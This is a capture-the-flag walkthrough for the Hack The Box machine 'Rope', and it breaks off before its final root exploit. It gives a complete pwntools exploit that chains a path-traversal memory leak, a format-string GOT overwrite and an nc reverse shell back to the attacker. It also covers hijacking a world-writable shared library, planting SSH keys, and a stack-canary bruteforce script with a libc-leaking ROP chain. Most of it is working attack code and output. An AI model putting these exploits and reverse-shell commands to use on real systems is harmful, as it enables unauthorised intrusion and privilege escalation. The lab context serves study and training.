root@kali:~/htb/boxes/rope/loot# nc -lvp 7001 listening on [any] 7001 ... 10.10.10.148: inverse host lookup failed: Unknown host connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 35190 /bin/sh: 0: can't access tty; job control turned off $ id uid=1001(john) gid=1001(john) groups=1001(john)
Here is the full python script:
#!/usr/bin/env python from pwn import * debug = False rhost = '10.10.10.148' rport = 9999 lhost = '10.10.12.95' lport = 7001 if (debug): rhost = '127.0.0.1' # leak image and libc base io = remote(rhost, rport) io.send('GET ../../../../../proc/self/maps\r\nRange: bytes=0-10000\r\n\r\n') maps = io.recvuntil('[stack]').split('\n') img_base = int(maps[6].split('-')[0], 16) # 7th line contains image base libc_base = int(maps[12].split('-')[0], 16) # 13th line contains libc base log.info('img_base : ' + hex(img_base)) log.info('libc_base: ' + hex(libc_base)) io.close() # calculate addresses puts_got = img_base + 0x5048 # live server system = libc_base + 0x3cd10 # live server if (debug): system = libc_base + 0x423d0 # local log.info('puts_got : ' + hex(puts_got)) log.info('system : ' + hex(system)) # craft format string system_lword = system & 0xffff system_hword = system >> 16 fmt = p32(puts_got) fmt += p32(puts_got+2) fmt += '%25'+str(system_lword-8)+'x' fmt += '%2553$hn' fmt += '%25'+str(system_hword-system_lword)+'x' fmt += '%2554$hn' io = remote(rhost, rport) cmd = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc '+lhost+' '+str(lport)+' >/tmp/f' payload = 'echo '+cmd.encode('base64').replace('\n','')+'|base64 -d|bash' payload = payload.replace(' ', '${IFS}') io.send(payload+' '+fmt+'\r\n\r\n') io.close()
Escalating from john to r4j (readlogs)
Let’s start by elavating our shell to a TTY
. python
cannot be found, though python3
is available:
$ which python $ which python3 /usr/bin/python3 $ python3 -c 'import pty;pty.spawn("/bin/bash")' bash: /root/.bashrc: Permission denied john@rope:/opt/www$
If python
would not be present at all we could use script -q /dev/null
to get a TTY
.
By pressing CTRL+Z
and entering stty raw -echo
followed by fg
we get a fully interactive shell.
Before running a script like LinEnum I usually tend to dig around a little bit manually first. The home directory of our current user john
doesn’t seem to contain something useful:
john@rope:/home/john$ ls -al total 28 drwxrwx--- 4 john john 4096 Aug 5 08:50 . drwxr-xr-x 4 root root 4096 Jun 19 15:08 .. lrwxrwxrwx 1 john john 9 Jun 19 17:16 .bash_history -> /dev/null -rwxrwx--- 1 john john 220 Jun 19 15:08 .bash_logout -rwxrwx--- 1 john john 3771 Jun 19 15:08 .bashrc drwx------ 2 john john 4096 Aug 5 08:50 .cache drwx------ 3 john john 4096 Aug 5 08:50 .gnupg -rwxrwx--- 1 john john 807 Jun 19 15:08 .profile
By reading the /etc/passwd
file through the web server we have already seen that there is another user called r4j
:
john@rope:/home/john$ cat /etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ... r4j:x:1000:1000:r4j:/home/r4j:/bin/bash john:x:1001:1001:,,,:/home/john:/bin/bash
The command sudo -l
reveals that we can run the program /usr/bin/readlogs
as r4j
:
john@rope:/home/john$ sudo -l Matching Defaults entries for john on rope: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on rope: (r4j) NOPASSWD: /usr/bin/readlogs
readlogs
seems to be a custom ELF binary:
john@rope:/home/john$ ls -al /usr/bin/readlogs -rwxr-xr-x 1 root root 8288 Jun 19 18:54 /usr/bin/readlogs john@rope:/home/john$ file /usr/bin/readlogs /usr/bin/readlogs: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=67bdf14148530fcc5c26260c3450077442e89f66, not stripped
Let’s analyze the file on our own local machine. For a small file like this, we can simply copy&paste the base64 encoded file.
Victim machine:
john@rope:/home/john$ md5sum /usr/bin/readlogs 198666187caa04ddc5f4def892d1714a /usr/bin/readlogs john@rope:/home/john$ base64 /usr/bin/readlogs f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAQAUAAAAAAABAAAAAAAAAACAZAAAAAAAAAAAAAEAAOAAJ AEAAHQAcAAYAAAAEAAAAQAAAAAAAAABAAAAAAAAAAEAAAAAAAAAA+AEAAAAAAAD4AQAAAAAAAAgA AAAAAAAAAwAAAAQAAAA4AgAAAAAAADgCAAAAAAAAOAIAAAAAAAAcAAAAAAAAABwAAAAAAAAAAQAA ... ... copy ...
Attacker machine:
root@kali:~/htb/boxes/rope/loot# vi readlogs.b64 ... paste ... root@kali:~/htb/boxes/rope/loot# base64 -d readlogs.b64 > readlogs root@kali:~/htb/boxes/rope/loot# md5sum readlogs 198666187caa04ddc5f4def892d1714a readlogs
By comparing the md5
checksums, we can verify that we correctly copied the file.
A quick glance at the file using radare2
shows, that there is only a main
function within the binary:
root@kali:~/htb/boxes/rope/loot# r2 -A readlogs [Invalid instruction of 16368 bytes at 0x124 entry0 (aa) Invalid instruction of 16366 bytes at 0x124 [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [0x00000540]> afl 0x00000000 6 292 -> 318 sym.imp.__libc_start_main 0x000004f8 3 23 sym._init 0x00000520 1 6 sym.imp.printlog 0x00000530 1 6 sub.__cxa_finalize_530 0x00000540 1 43 entry0 0x00000570 4 50 -> 40 sym.deregister_tm_clones 0x000005b0 4 66 -> 57 sym.register_tm_clones 0x00000600 5 58 -> 51 sym.__do_global_dtors_aux 0x00000640 1 10 entry.init0 0x0000064a 1 21 sym.main 0x00000660 3 101 -> 92 sym.__libc_csu_init 0x000006d0 1 2 sym.__libc_csu_fini 0x000006d4 1 9 sym._fini [0x00000540]> pdf @ sym.main ;-- main: / (fcn) sym.main 21 | sym.main (int argc, char **argv, char **envp); | ; DATA XREF from entry0 (0x55d) | 0x0000064a 55 push rbp | 0x0000064b 4889e5 mov rbp, rsp | 0x0000064e b800000000 mov eax, 0 | 0x00000653 e8c8feffff call sym.imp.printlog | 0x00000658 b800000000 mov eax, 0 | 0x0000065d 5d pop rbp \ 0x0000065e c3 ret [0x00000540]>
The main
function calls the imported function printlog
. By running ldd
we can see, that the binary is using a custom library called liblog.so
, which probably implements this function:
john@rope:/home/john$ ldd /usr/bin/readlogs linux-vdso.so.1 (0x00007ffc52bbc000) liblog.so => /lib/x86_64-linux-gnu/liblog.so (0x00007f5b07148000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f5b0693e000) /lib64/ld-linux-x86-64.so.2 (0x00007f5b06f31000)
The library has the permissions 0777
on the victim machine and can thus be written by everyone:
john@rope:/home/john$ ls -al /lib/x86_64-linux-gnu/liblog.so -rwxrwxrwx 1 root root 15984 Jun 19 19:06 /lib/x86_64-linux-gnu/liblog.so
This means that we can simply replace the library with our own one to execute arbitrary code as the user r4j
by running readlogs
with sudo
.
At first let’s download the original library to our local machine. This time using nc
:
Attacker machine:
root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 > liblog.so listening on [any] 7002 ...
Victim machine:
john@rope:/home/john$ md5sum /lib/x86_64-linux-gnu/liblog.so d0b1366af0ae4c6500feb303901f3136 /lib/x86_64-linux-gnu/liblog.so john@rope:/home/john$ cat /lib/x86_64-linux-gnu/liblog.so | nc 10.10.12.95 7002
Attacker machine:
... 10.10.10.148: inverse host lookup failed: Unknown host connect to [10.10.12.95] from (UNKNOWN) [10.10.10.148] 40724 root@kali:~/htb/boxes/rope/loot# md5sum liblog.so d0b1366af0ae4c6500feb303901f3136 liblog.so
Using radare2
again, we can see that the printlog
function simply calls system
with the argument /usr/bin/tail -n10 /var/log/auth.log
:
root@kali:~/htb/boxes/rope/loot# r2 -A liblog.so [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze function calls (aac) [x] Analyze len bytes of instructions for references (aar) [x] Constructing a function name for fcn.* and sym.func.* functions (aan) [x] Type matching analysis for all functions (aaft) [x] Use -AA or aaaa to perform additional experimental analysis. [0x00001050]> afl 0x00001000 3 23 sym._init 0x00001030 1 6 sym.imp.system 0x00001040 1 6 sub.__cxa_finalize_1040 0x00001050 4 41 -> 34 entry0 0x00001080 4 57 -> 51 sym.register_tm_clones 0x000010c0 5 57 -> 50 sym.__do_global_dtors_aux 0x00001100 1 5 entry.init0 0x00001105 1 24 sym.printlog 0x00001120 1 9 sym._fini [0x00001050]> pdf @ sym.printlog / (fcn) sym.printlog 24 | sym.printlog (); | 0x00001105 55 push rbp | 0x00001106 4889e5 mov rbp, rsp | 0x00001109 488d3df00e00. lea rdi, qword str.usr_bin_tail__n10__var_log_auth.log ; segment.LOAD2 ; 0x2000 ; "/usr/bin/tail -n10 /var/log/auth.log" ; const char *string | 0x00001110 b800000000 mov eax, 0 | 0x00001115 e816ffffff call sym.imp.system ; int system(const char *string) | 0x0000111a 90 nop | 0x0000111b 5d pop rbp \ 0x0000111c c3 ret [0x00001050]>
In order to replace the library with our own one, we could compile a shared object ourself. Though it is even easier to simply patch the existing library to fit our needs. In order to do this, we create a copy of the library and open it with radare2
in write mode (-w
):
root@kali:~/htb/boxes/rope/loot# cp liblog.so liblog_modified.so root@kali:~/htb/boxes/rope/loot# r2 -Aw liblog_modified.so ...
Now we patch the string passed to system
with /bin/bash
in order to spawn a shell instead of displaying the contents of /var/log/auth.log
:
[0x00001050]> iz [Strings] Num Paddr Vaddr Len Size Section Type String 000 0x00002000 0x00002000 36 37 (.rodata) ascii /usr/bin/tail -n10 /var/log/auth.log [0x00001050]> s 0x00002000 [0x00002000]> "wz /bin/bash" [0x00002000]>
At next we replace the library with our modified version. Beforehand we create a copy of the original liblog.so
.
Attacker machine:
root@kali:~/htb/boxes/rope/loot# nc -lvp 7002 < liblog_modified.so listening on [any] 7002 ...
Victim machine:
john@rope:/home/john$ cp /lib/x86_64-linux-gnu/liblog.so /tmp john@rope:/home/john$ nc 10.10.12.95 7002 > /lib/x86_64-linux-gnu/liblog.so
If we now run readlogs
with sudo
as the user r4j
we get a shell as this user and can restore the original library:
john@rope:/home/john$ sudo -u r4j /usr/bin/readlogs bash: /root/.bashrc: Permission denied r4j@rope:/home/john$ id uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm) r4j@rope:/home/john$ cp /tmp/liblog.so /lib/x86_64-linux-gnu/liblog.so
The home directory of r4j
contains the user.txt
file:
r4j@rope:/home/john$ cd ../r4j/ r4j@rope:/home/r4j$ ls -al total 40 drwxrwx--- 5 r4j r4j 4096 Oct 10 05:26 . drwxr-xr-x 4 root root 4096 Jun 19 15:08 .. lrwxrwxrwx 1 r4j r4j 9 Jun 19 17:10 .bash_history -> /dev/null -rwxrwx--- 1 r4j r4j 220 Apr 4 2018 .bash_logout -rwxrwx--- 1 r4j r4j 3771 Apr 4 2018 .bashrc drwxrwx--- 2 r4j r4j 4096 Jun 19 15:06 .cache drwxrwx--- 3 r4j r4j 4096 Jun 19 15:06 .gnupg -rwxrwx--- 1 r4j r4j 807 Apr 4 2018 .profile -rw-r--r-- 1 root root 66 Jun 19 19:03 .selected_editor drwxr-xr-x 2 r4j r4j 4096 Oct 10 05:26 .ssh -rwxrwx--- 1 r4j r4j 0 Jun 19 15:07 .sudo_as_admin_successful -rw-r--r-- 1 root root 33 Jun 19 19:24 user.txt r4j@rope:/home/r4j$ cat user.txt deb9 ... (output truncated)
Root
Local Recon
In order to be able to login via SSH, let’s first create an RSA key and store the public key in the .ssh/authorized_keys
file of r4j
.
Attacker machine:
root@kali:~/htb/boxes/rope/loot# ssh-keygen -f id_rsa_r4j Generating public/private rsa key pair. Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in id_rsa_r4j. Your public key has been saved in id_rsa_r4j.pub. The key fingerprint is: SHA256:DyUxUTXbKswz12Go8owT7jRcFFAKNcsI9YL8FwyTkoo root@kali The key's randomart image is: +---[RSA 3072]----+ | .o=oB=+.o | | .oo.O * . = | | . .o.o O o o + | |E . . . B . + . | | . S O o . | | + X = | | B + | | o o | | . | +----[SHA256]-----+ root@kali:~/htb/boxes/rope/loot# cat id_rsa_r4j.pub ssh-rsa AAAAB3NzaC1yc2EAAAADA... ... copy ...
Victim machine:
r4j@rope:/home/r4j$ mkdir .ssh r4j@rope:/home/r4j$ echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADA ... paste ...' > .ssh/authorized_keys
Now we can login via SSH:
root@kali:~/htb/boxes/rope/loot# ssh -i id_rsa_r4j r4j@10.10.10.148 The authenticity of host '10.10.10.148 (10.10.10.148)' can't be established. ECDSA key fingerprint is SHA256:uCguytQ5iFizo89a8JaW34JkqSy6n1fPOmycil6onkc. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.148' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Thu Oct 10 05:27:00 UTC 2019 System load: 0.03 Processes: 177 Usage of /: 28.5% of 14.70GB Users logged in: 0 Memory usage: 14% IP address for ens33: 10.10.10.148 Swap usage: 0% 152 packages can be updated. 72 updates are security updates. Last login: Thu Jun 20 07:30:04 2019 from 192.168.2.106 r4j@rope:~$ id uid=1000(r4j) gid=1000(r4j) groups=1000(r4j),4(adm)
As previously mentioned we could now run an enumeration script with the new gained privileges as user r4j
, though I will skip this here and walk right away to the the necessary findings.
The thing to notice is that there is a service listening on localhost port 1337
:
r4j@rope:~$ netstat -tulpn (Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.) Active Internet connections (only servers) Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name tcp 0 0 0.0.0.0:9999 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN - tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN - tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN - tcp6 0 0 :::22 :::* LISTEN - udp 0 0 127.0.0.53:53 0.0.0.0:* -
When connecting to the service, it will prompt us to enter a message to the admin:
r4j@rope:~$ nc 0 1337 Please enter the message you want to send to admin: test Done.
The folder /opt
, which also contained the httpserver
we exploited earlier, contains another folder called support
, which we are now able to read since r4j
is a member of the group adm
:
r4j@rope:/opt$ ls -al total 20 drwxr-xr-x 5 root root 4096 Jun 20 06:19 . drwxr-xr-x 25 root root 4096 Jun 19 16:25 .. drwx------ 2 root root 4096 Jun 19 19:06 run drwxr-x--- 2 root adm 4096 Jun 19 16:11 support drwxr-xr-x 7 root root 4096 Jun 20 07:27 www
This folder contains another binary called contact
:
r4j@rope:/opt$ cd support/ r4j@rope:/opt/support$ ls -al total 24 drwxr-x--- 2 root adm 4096 Jun 19 16:11 . drwxr-xr-x 5 root root 4096 Jun 20 06:19 .. -rwxr-x--- 1 root adm 14632 Jun 19 15:48 contact r4j@rope:/opt/support$ file contact contact: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=cc3b330cabc203d0d813e3114f1515b044a1fd4f, stripped
Obviously this is the binary running on port 1337
with root privileges:
r4j@rope:/opt/support$ ps aux | grep contact root 1145 0.0 0.0 4628 920 ? Ss 04:05 0:00 /bin/sh -c /opt/support/contact root 1148 0.0 0.0 4516 740 ? S 04:05 0:00 /opt/support/contact root 1885 0.0 0.0 4516 80 ? S 05:25 0:00 /opt/support/contact r4j 2199 0.0 0.0 13136 1076 pts/1 S+ 06:10 0:00 grep --color=auto contact
contact
So let’s download the binary to our local machine in order to analyze it:
root@kali:~/htb/boxes/rope/loot# scp -i id_rsa_r4j r4j@10.10.10.148:/opt/support/contact . contact 100% 14KB 628.6KB/s 00:00
The enabled security options are the same as on httpserver
. The only difference is that we are now facing a 64-bit binary:
root@kali:~/htb/boxes/rope/loot# checksec contact [*] '/root/htb/boxes/rope/loot/contact' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
The binary is big enough to start up ghidra
. Notice that it is stripped and thus there is no function called main
. Though we can easily find the main
function by selecting the entry
function (left side). The first parameter passed to __libc_start_main
is the main
function:

So basically the progam is accepting connections on port 1337
in an infinite loop. A new connection is handled by a forked child process, which displays the message we have already seen:

Within the function getMessage
(I renamed it) 0x400
bytes are read from the socket connection:

According to the decompiled code the buffer in which the 0x400
bytes are read (local_48
) has only 56
elements. Within the disassembly output we can see that within the function prologue indeed only 0x50
bytes are reserved on the stack:

The buffer only being 56
bytes large makes it definitely vulnerable to a stack overflow.
Let’s quickly verify this on our local machine:
root@kali:~/htb/boxes/rope/loot# python -c 'print("A"*256)'|nc 0 1337 Please enter the message you want to send to admin: ... root@kali:~/htb/boxes/rope/loot# ./contact listen on port 1337, fd is 3 [+] Request accepted fd 4, pid 0 *** stack smashing detected ***: <unknown> terminated
The program crashed because the stack canary has been overwritten. To further analyze the vulnerability we can attach gdb
to the running process like we did before with httpserver
. Remember to disable ASLR
beforehand, so it will be more easier as the address will stay the same:
root@kali:~/htb/boxes/rope/loot# echo 0 > /proc/sys/kernel/randomize_va_space root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact) ...
This time the binary is stripped so we don’t have any symbols. In order to disassemble the vulnerable function in gdb
we can lookup the image base (i proc mappings
) and add the offset of the function to it (the offset can for example be seen in ghidra
):
gdb-peda$ i proc mappings process 3757 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x555555554000 0x555555555000 0x1000 0x0 /root/htb/boxes/rope/loot/contact ... gdb-peda$ x/20i (0x555555554000+0x159a) 0x55555555559a: push rbp 0x55555555559b: mov rbp,rsp 0x55555555559e: sub rsp,0x50 0x5555555555a2: mov DWORD PTR [rbp-0x44],edi 0x5555555555a5: mov rax,QWORD PTR fs:0x28 0x5555555555ae: mov QWORD PTR [rbp-0x8],rax 0x5555555555b2: xor eax,eax 0x5555555555b4: lea rsi,[rbp-0x40] 0x5555555555b8: mov eax,DWORD PTR [rbp-0x44] 0x5555555555bb: mov ecx,0x0 0x5555555555c0: mov edx,0x400 0x5555555555c5: mov edi,eax 0x5555555555c7: call 0x555555555030 <recv@plt> 0x5555555555cc: nop 0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8] 0x5555555555d1: xor rdx,QWORD PTR fs:0x28 0x5555555555da: je 0x5555555555e1 0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt> 0x5555555555e1: leave 0x5555555555e2: ret
The second instruction after the recv
call loads the saved canary from the stack:
0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8]
Let’s set a breakpoint here …
gdb-peda$ b *0x5555555555cd Breakpoint 1 at 0x5555555555cd gdb-peda$ c Continuing.
… and send a pattern to the process:
root@kali:~/htb/boxes/rope/loot# python -c 'from pwn import *;print(cyclic(256))'|nc 0 1337 Please enter the message you want to send to admin:
The breakpoint is hit and we can determine which value will be moved to rdx
as the saved canary:
... [-------------------------------------code-------------------------------------] 0x5555555555c5: mov edi,eax 0x5555555555c7: call 0x555555555030 <recv@plt> 0x5555555555cc: nop => 0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8] 0x5555555555d1: xor rdx,QWORD PTR fs:0x28 0x5555555555da: je 0x5555555555e1 0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt> 0x5555555555e1: leave ... Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555cd in ?? () gdb-peda$ x/s $rbp-0x8 0x7fffffffe138: "oaaapaaaqaaar"...
Accordingly the offset to the saved canary is 56
:
root@kali:~/htb/boxes/rope/loot# python ... >>> from pwn import * >>> cyclic(256).index("oaaapaaaqaaa") 56
Bruteforce
In order to reach the ret
instruction at the end of the function and return to an arbitrary address we overwrote the return address with, we have to preserve the canary. Luckily the program will fork a new process on every connection and the stack canary will stay the same for all forks. This means that we can bruteforce the canary byte-by-byte. As it would be totally impratical to bruteforce a 56-bit canary (the lowest byte is always 0x00
) at once (2^56 = 72.057.594.037.927.936), it is quite acceptable to bruteforce it byte-by-byte (256+256+.. = 256*7 = 1.792).
To bruteforce the canary we send 56
arbitrary bytes (buffer) + 0x00
(lowest byte of canary) + our guess for the second byte of the canary. If we successfully found the second byte, we proceed with the third and so forth.
There is only one question yet. How can we determine if we chose the right value for the canary byte? Luckily the program is built quite suitable for this. If the stack canary in the vulnerable function (I renamed it to getMessage()
) is destroyed, the program will exit immediately. Otherwise the function returns gracefully and the message "Done."
is send to the socket connection:

This means that we can determine if we found the right byte for the canary by watching for the message "Done."
. The following python script bruteforces the canary:
root@kali:~/htb/boxes/rope# cat bruteCanary.py #!/usr/bin/env python from pwn import * context.log_level = 21 # disable connection log rhost = '127.0.0.1' rport = 1337 canary = '\x00' expl = 'A' * 56 while (len(canary) < 8): for i in range(256): fail = False io = remote(rhost, rport) io.send(expl+canary+chr(i)) try: r = io.recvuntil('Done.\n', timeout=1.0) if (len(r) == 0): fail = True # timeout except: fail = True # EOF io.close() if (fail): if (i == 255): print('bruteforcing failed') quit() continue print('found canary byte: ' + hex(i)) canary += chr(i) io.close() break print('canary fully bruteforced: ' + canary.encode('hex'))
Running the script locally quickly reveals the canary:
root@kali:~/htb/boxes/rope# ./bruteCanary.py found canary byte: 0xee found canary byte: 0x3a found canary byte: 0x20 found canary byte: 0x68 found canary byte: 0x9e found canary byte: 0xca found canary byte: 0x19 canary fully bruteforced: 00ee3a20689eca19
Since we know the value of the canary now, let’s verify that we can control the instruction pointer by overwriting the return address.
In order to do this, we attach to the running process and set a breakpoint at the ret
instruction:
root@kali:~/htb/boxes/rope/loot# gdb ./contact $(pidof contact) ... gdb-peda$ x/20i (0x555555554000+0x159a) ... 0x5555555555c7: call 0x555555555030 <recv@plt> 0x5555555555cc: nop 0x5555555555cd: mov rdx,QWORD PTR [rbp-0x8] 0x5555555555d1: xor rdx,QWORD PTR fs:0x28 0x5555555555da: je 0x5555555555e1 0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt> 0x5555555555e1: leave 0x5555555555e2: ret gdb-peda$ b *0x5555555555e2 Breakpoint 1 at 0x5555555555e2 gdb-peda$ c
Now we use the following script to overwrite the canary with the original value and set the return address to 0xdeadbeefdeadbeef
:
root@kali:~/htb/boxes/rope# cat expl_test.py #!/usr/bin/env python from pwn import * rhost = '127.0.0.1' rport = 1337 io = remote(rhost, rport) # canary bruteforced beforehand canary = '00ee3a20689eca19'.decode('hex') rbp = p64(0) ret_addr = p64(0xdeadbeefdeadbeef) expl = 'A' * 56 io.send(expl+canary+rbp+ret_addr) io.interactive()
When running the script, the breakpoint is hit:
root@kali:~/htb/boxes/rope# ./expl_test.py [+] Opening connection to 127.0.0.1 on port 1337: Done ... [----------------------------------registers-----------------------------------] RAX: 0x50 ('P') RBX: 0x0 RCX: 0x7ffff7ef061d (<__libc_recv+29>: cmp rax,0xfffffffffffff000) RDX: 0x0 RSI: 0x7fffffffe100 ('A' <repeats 56 times>) RDI: 0x4 RBP: 0x0 RSP: 0x7fffffffe148 --> 0xdeadbeefdeadbeef RIP: 0x5555555555e2 (ret) R8 : 0x0 R9 : 0x0 R10: 0x0 R11: 0x246 R12: 0x555555555180 (xor ebp,ebp) R13: 0x7fffffffe2b0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x5555555555da: je 0x5555555555e1 0x5555555555dc: call 0x555555555070 <__stack_chk_fail@plt> 0x5555555555e1: leave => 0x5555555555e2: ret 0x5555555555e3: nop WORD PTR cs:[rax+rax*1+0x0] 0x5555555555ed: nop DWORD PTR [rax] 0x5555555555f0: push r15 0x5555555555f2: mov r15,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe148 --> 0xdeadbeefdeadbeef 0008| 0x7fffffffe150 --> 0x0 0016| 0x7fffffffe158 --> 0x400000000 0024| 0x7fffffffe160 --> 0x0 0032| 0x7fffffffe168 --> 0x19ca9e68203aee00 0040| 0x7fffffffe170 --> 0x7fffffffe1d0 --> 0x5555555555f0 (push r15) 0048| 0x7fffffffe178 --> 0x5555555554cf (mov DWORD PTR [rbp-0x24],eax) 0056| 0x7fffffffe180 --> 0x7fffffffe2b8 --> 0x7fffffffe581 ("./contact") [------------------------------------------------------------------------------] Legend: code, data, rodata, value Thread 2.1 "contact" hit Breakpoint 1, 0x00005555555555e2 in ?? () gdb-peda$
As we can see, the top element on the stack, which is the return address, has successfully been overwritten with the value 0xdeadbeefdeadbeef
. If we continue the execution we get a segmentation fault, since the ret
instruction pops this value into the instruction pointer. Accordingly we succeeded in controlling the instruction pointer.
We can control the instruction pointer, but where should we jump to? We don’t know any address since ASLR
is enabled and the binary was compiled with PIE
as we already figured out:
root@kali:~/htb/boxes/rope/loot# checksec contact ... PIE: PIE enabled
Accordingly we need a leak first. In order to get this leak, we can simply carry on with our bruteforce approach. The next byte after the canary is the first byte of the saved rbp:
[canary][saved rbp][return address]
If we overwrite this byte with a value different from the original value, the program is likely to crash since we corrupted the saved rbp. When the program crashes, it won’t print out the message "Done."
and we can thus suppose that the value we wrote is not the original value just like we did with the canary. By bruteforcing another 16 bytes we can determine the values of the saved rbp as well as the return address. So let’s adjust the former bruteforce script a little bit:
root@kali:~/htb/boxes/rope# cat bruteAll.py #!/usr/bin/env python from pwn import * context.log_level = 21 # disable connection log rhost = '127.0.0.1' rport = 1337 brute_str = '\x00' expl = 'A' * 56 while (len(brute_str) < 24): for i in range(256): fail = False io = remote(rhost, rport) io.send(expl+brute_str+chr(i)) try: r = io.recvuntil('Done.\n', timeout=1.0) if (len(r) == 0): fail = True # timeout except: fail = True # EOF io.close() if (fail): if (i == 255): print('bruteforcing failed') quit() continue print('found byte: ' + hex(i)) brute_str += chr(i) io.close() break u = make_unpacker(64, endian='little', sign='unsigned') canary = u(brute_str[:8]) rbp = u(brute_str[8:16]) ret_addr = u(brute_str[16:]) print('canary : ' + hex(canary)) print('rbp : ' + hex(rbp)) print('ret_addr: ' + hex(ret_addr))
Notice that I added a timeout in the io.recvuntil
call, since the script might hang otherwise (this probably happens if we overwrite to return address with a value which makes the program not correctly terminating the socket connection). Running the script additionally yields the saved rbp and return address:
root@kali:~/htb/boxes/rope# ./bruteAll.py found byte: 0xee found byte: 0x3a found byte: 0x20 found byte: 0x68 found byte: 0x9e found byte: 0xca found byte: 0x19 found byte: 0x10 found byte: 0xe1 found byte: 0xff found byte: 0xff found byte: 0xff found byte: 0x7f found byte: 0x0 found byte: 0x0 found byte: 0x13 found byte: 0x55 found byte: 0x55 found byte: 0x55 found byte: 0x55 found byte: 0x55 found byte: 0x0 found byte: 0x0 canary : 0x19ca9e68203aee00 s_rbp : 0x7fffffffe110 ret_addr: 0x555555555513
The bruteforced return address is a little bit different from the original return address, which can be inspected using gdb: 0x555555555562
. The reason for this is that the address we bruteforced (0x555555555513
) is smaller than the original value, but did also point to a sequence of instructions, which send the message "Done."
. This doesn’t really matter since the 3 least significant nibbles (4 bit) are not altered by ASLR
and we can assume that we landed somewhere in the sending function, which offset ranges from 0x14ee
to 0x1599
. Accordingly we landed at offset 0x1513
of that function, which makes the image base address equal to 0x555555555513 - 0x1513 = 0x555555554000
. Of course we know that is correct, since we turned off ASLR
on our machine, but now we are able to successfully leak the image base address even if ASLR
is turned on.
Libc Leak
In order to call a function like system
from libc, we still need a libc address. Using the image base address we can construct a ROP-chain, which leaks such an address. Luckily the last call before the ret
instruction within the function we are exploiting is recv
, which makes RDI
still hold the file descriptor of our socket connection. Thus we only need to store a libc address reference in RSI
(e.g. GOT
entry of printf
) and the value 8
in RDX
(count of bytes we want to leak). If we then trigger a call to write
, the program will send us the 8 byte libc address. The ROP-chain looks like this:
... img_base = ret_addr - 0x1513 print('img_base: ' + hex(img_base)) pop_rdi = 0x164b pop_rsi_r15 = 0x1649 pop_rdx = 0x1265 write = 0x154e printf_got = 0x4058 printf_offset = 0x54b40 # leak libc address expl = 'A' * 56 expl += p64(canary) expl += p64(rbp) expl += p64(img_base+pop_rdx) expl += p64(8) expl += p64(img_base+pop_rsi_r15) expl += p64(img_base+printf_got) expl += p64(0) expl += p64(img_base+write) io = remote(rhost, rport) io.send(expl) io.recvuntil('admin:\n') leak = u(io.recv(8)) print('leak :' + hex(leak)) libc_base = leak - printf_offset print('libc_base:' + hex(libc_base)) io.close()
Since we leaked the value of the printf GOT
entry, we need to subtract the printf
function offset in order to get the libc base address. Notice that we are currently using the libc version from our local machine and must adjust these values to fit the remote machine. The offset can for example be determined by using objdump
(-T
: display dynamic symbol table):
root@kali:~/htb/boxes/rope/loot# ldd contact linux-vdso.so.1 (0x00007fff729b8000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fefe4160000) /lib64/ld-linux-x86-64.so.2 (0x00007fefe4341000) root@kali:~/htb/boxes/rope/loot# objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep ' printf$' 0000000000054b40 g DF .text 00000000000000c8 GLIBC_2.2.5 printf
Running the script additionally yields the image base address as well as the libc base address:
root@kali:~/htb/boxes/rope# ./bruteAll.py canary : 0x24d291a4243ec800 rbp : 0x7ffe9b7ee560 ret_addr: 0x559adf4ba513 img_base: 0x559adf4b9000 leak :0x7f58e3f0eb40 libc_base:0x7f58e3eba000
Final Exploit
Now we have all the information we need to forge our final exploit. Since we are connected to the process via a socket, we need to bind stdin
and stdout
